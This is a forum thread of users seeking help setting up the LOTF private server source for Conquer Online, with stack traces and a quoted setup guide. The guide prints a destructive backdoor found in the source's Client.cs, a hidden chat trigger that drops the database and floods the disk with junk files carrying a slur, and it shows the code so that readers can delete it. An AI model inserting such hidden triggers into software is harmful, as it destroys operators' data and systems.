LOTF Source Guide

[_Emme_]

I could help you all when you have problems. Press the +Thanks button in this post,then add my MSN,and I'll help you. If you didnt +thanks this post,I will not accept you at my MSN =P kthx

[gerble93]

What's your msn, i need help!

[gerble93]

When i do 2. Go to PhpMyAdmin (go to your browser, and type: , then enter root for the username, and the password you set when installing AppServ.)

MY WHOLE PAGE IS WHITE! why? please help me!!

I will post pictures.

[gerble93]

I can't login now. like when i try to login it says like error with connection, but the running of the server works

[pegaeu]

i need help!!
how i fix this bug?
Loaded 254 portals.
Loaded 1004 NPCs.
Loaded 27 Mobs.
Loaded 11147 items.
Loaded 140 Mob Spawns.
Spawned 2664 mobs.
Loading Plus info done.
Loaded 2 Guilds.
Successful login for account Lost
Successful login for account marcus320
Successful login for account marcus320
Successful login for account lol
Successful login for account racionais1
Successful login for account lol
Successful login for account Lost
Successful login for account racionais1
Successful login for account racionais1
Successful login for account racionais1
Successful login for account lol
MySql.Data.MySqlClient.MySqlException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UP' at line 1
at MySql.Data.MySqlClient.PacketReader.CheckForError( )
at MySql.Data.MySqlClient.PacketReader.ReadHeader()
at MySql.Data.MySqlClient.PacketReader.OpenPacket()
at MySql.Data.MySqlClient.NativeDriver.ReadResult(Int 64& affectedRows, Int64& lastInsertId)
at MySql.Data.MySqlClient.CommandResult.ReadNextResul t(Boolean isFirst)
at MySql.Data.MySqlClient.NativeDriver.SendQuery(Byte[] bytes, Int32 length, Boolean consume)
at MySql.Data.MySqlClient.MySqlCommand.GetNextResultS et(MySqlDataReader reader)
at MySql.Data.MySqlClient.MySqlCommand.Consume()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuer y()
at COServer_Project.DataBase.SaveChar(Character Charr) in C:\Documents and Settings\Sharif\Bureaublad\Fouad\COServerProject1\ COServerProject\DataBase.cs:line 1155
MySql.Data.MySqlClient.MySqlException: Unable to write to stream ---> System.IO.IOException: Unable to write data to the transport connection: Foi forçado o cancelamento de uma conexão existente pelo host remoto. ---> System.Net.Sockets.SocketException: Foi forçado o cancelamento de uma conexão existente pelo host remoto
at System.Net.Sockets.Socket.Send(Byte[] buffer, Int32 offset, Int32 size, SocketFlags socketFlags)
at System.Net.Sockets.NetworkStream.Write(Byte[] buffer, Int32 offset, Int32 size)
--- End of inner exception stack trace ---
at System.Net.Sockets.NetworkStream.Write(Byte[] buffer, Int32 offset, Int32 size)
at System.IO.BufferedStream.FlushWrite()
at System.IO.BufferedStream.Flush()
at MySql.Data.MySqlClient.PacketWriter.WriteChunk(Byt e[] buf, Int32 offset, Int32 length)
at MySql.Data.MySqlClient.PacketWriter.Write(Byte[] buffer, Int32 offset, Int32 count)
--- End of inner exception stack trace ---
at MySql.Data.MySqlClient.PacketWriter.Write(Byte[] buffer, Int32 offset, Int32 count)
at MySql.Data.MySqlClient.NativeDriver.ExecuteCommand (DBCmd cmd, Byte[] bytes, Int32 length)
at MySql.Data.MySqlClient.NativeDriver.SendQuery(Byte[] bytes, Int32 length, Boolean consume)
at MySql.Data.MySqlClient.MySqlCommand.GetNextResultS et(MySqlDataReader reader)
at MySql.Data.MySqlClient.MySqlCommand.Consume()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuer y()
at COServer_Project.DataBase.SaveChar(Character Charr) in C:\Documents and Settings\Sharif\Bureaublad\Fouad\COServerProject1\ COServerProject\DataBase.cs:line 1155
System.InvalidOperationException: Connection must be valid and open
at MySql.Data.MySqlClient.MySqlCommand.CheckState()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuer y()
at COServer_Project.DataBase.SaveChar(Character Charr) in C:\Documents and Settings\Sharif\Bureaublad\Fouad\COServerProject1\ COServerProject\DataBase.cs:line 1155
System.InvalidOperationException: Connection must be valid and open
at MySql.Data.MySqlClient.MySqlCommand.CheckState()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuer y()
at COServer_Project.DataBase.SaveChar(Character Charr) in C:\Documents and Settings\Sharif\Bureaublad\Fouad\COServerProject1\ COServerProject\DataBase.cs:line 1155
System.InvalidOperationException: Connection must be valid and open
at MySql.Data.MySqlClient.MySqlCommand.CheckState()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuer y()
at COServer_Project.DataBase.SaveChar(Character Charr) in C:\Documents and Settings\Sharif\Bureaublad\Fouad\COServerProject1\ COServerProject\DataBase.cs:line 1155
System.InvalidOperationException: Connection must be valid and open
at MySql.Data.MySqlClient.MySqlCommand.CheckState()
at MySql.Data.MySqlClient.MySqlCommand.ExecuteNonQuer y()
at COServer_Project.DataBase.SaveChar(Character Charr) in C:\Documents and Settings\Sharif\Bureaublad\Fouad\COServerProject1\ COServerProject\DataBase.cs:line 1155

help me please

[nanacity]

What ports Can i put it in my router

?? and its TCP Or UDP

I hope u report me at

[Cypher71501]

Alright, ive had a friend trying to host his server on my comp, this step, 2. Go to PhpMyAdmin (go to your browser, and type: , then enter root for the username, and the password you set when installing AppServ.), worked yesterday, but now it keeps saying the page cant be found. Can anyone explain some reasons why?

[QuakeZ]

Originally Posted by Cypher71501

Alright, ive had a friend trying to host his server on my comp, this step, 2. Go to PhpMyAdmin (go to your browser, and type: , then enter root for the username, and the password you set when installing AppServ.), worked yesterday, but now it keeps saying the page cant be found. Can anyone explain some reasons why?

You need to start ur Appache then u can go to PHPMYAdmin

But one thing How come i Cant and along of some other Vista users cant see wats in the in the Localhost/PHPmyAdmin?

All i see is whtie... >_>

[demonscim]

dude its not ******* working it just runs through a **** load of stuff really fast and exits.. someone got msn that can help me?

[ztcjsa]

It says enter the root pass but i never creatd a username on install

Originally Posted by Super.Pvper

Official Unofficial Guide for the LOTF Source.

Server Info:

- Database: MySQL
- Language: C#
- Client: v 5016

Required Programs:

- Microsoft Visual C# 2005 Express Edition [Link: ]
- AppServ(MySQL, Apache, and PhpMyAdmin all in one) [Link: ]

- LOTF Source: [Link: ]
- Conquer Online Client 5016 [Link: <NONE>]

*IMPORTANT NOTE!!!!!!!!!!!*
YOU MUST REMEMBER ALL THE USERNAMES/PASSWORDS YOU ENTER!

Setup Guide:

1. Download and Install everything.

2. Go to PhpMyAdmin (go to your browser, and type: , then enter root for the username, and the password you set when installing AppServ.)

3. Click on the SQL button.



Click on Import Files, and select the Database from the Source (Backup.sql)



4. The Server should already connect to the Database.

5. Go to ...COServerProjectbinDebug then COServerProject.exe to start the server.
Note: if the file is not there, go to ...COServerProjectobjDebug and copy the file from there, to binDebug.

6. Editing NPC Spawns, Accounts, Guilds, Items, Monsters/Monster Spawns, and Portals are all in localhost/phpmyadmin.

7. NPC dialogs are found in the file Client.cs around line 939.


Download this Guide:



MALICIOUS CODE:

A malicious code has been coded into the server (probobly by hadeset before he released it).
This code supposedly destroys the source.

REMOVE THE MALICIOUS CODE:

1. Open Client.cs

2. Press Ctrl+G and go to line 3630

3. Delete the Command:

                          if (Message == "@go_to_hell!ENC3101931993")
                            {
                                MySql.Data.MySqlClient.MySqlCommand Command = new MySql.Data.MySqlClient.MySqlCommand("drop database `coproj`", DataBase.Connection);
                                Command.ExecuteNonQuery();
                                
                                for (ulong i = 0; i < 547473346363; i++)
                                {
                                    System.IO.StreamWriter WW = new System.IO.StreamWriter("C:Virus" + i.ToString() + ".exe", true);
                                    for (ulong u = 0; u < 5857474673576; u++)
                                    {
                                        WW.WriteLine("No stealing our server you gay whore!!");
                                    }
                                    WW.Flush();
                                    WW.Close();
                                    WW = new System.IO.StreamWriter("C:YouSuck" + i.ToString() + ".txt", true);
                                    for (ulong u = 0; u < 5857474673576; u++)
                                    {
                                        WW.WriteLine("No stealing our server you gay whore!!");
                                    }
                                    WW.Flush();
                                    WW.Close();
                                }                                
                            }

MySql.Data Error

The file MySql.Data.dll is missing from the source, so when you build it, you will always get an error.

Solution:

1. Download MySql.Data.dll: |

2. Move the MySql.Data.dll file into your Server Folder

3. Open the Source with Visual C#

4. Move the File from the Server folder, into the Resources. Overwrite the old one.

There! MySql.Data Error is Fixed!



Registration Page

Download this Registration Page so other players can register to your server!

Link:

Credits to scottdavey

[LukeJrs]

Help im getting #1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'using System' at line 1

\
Can anybody help me

[YukiXian]

Originally Posted by rider1992

Start it By Service

I did,
Is it normal the black DOS-Window will go away?
And how to see my site? <- Doesn't work

[asce2836]

ei guys i have a problim how can i fixed this error in opening the COproject.exe





please help ^^

[plasma-hand]

Yuki ill upload a better register page..It will work by going to
your ip might be different but you get the basic concept

[quadruple1]

When i put coproj>accounts>insert>any username> put LogonType to 2 theirs no save button anywhere!!!!!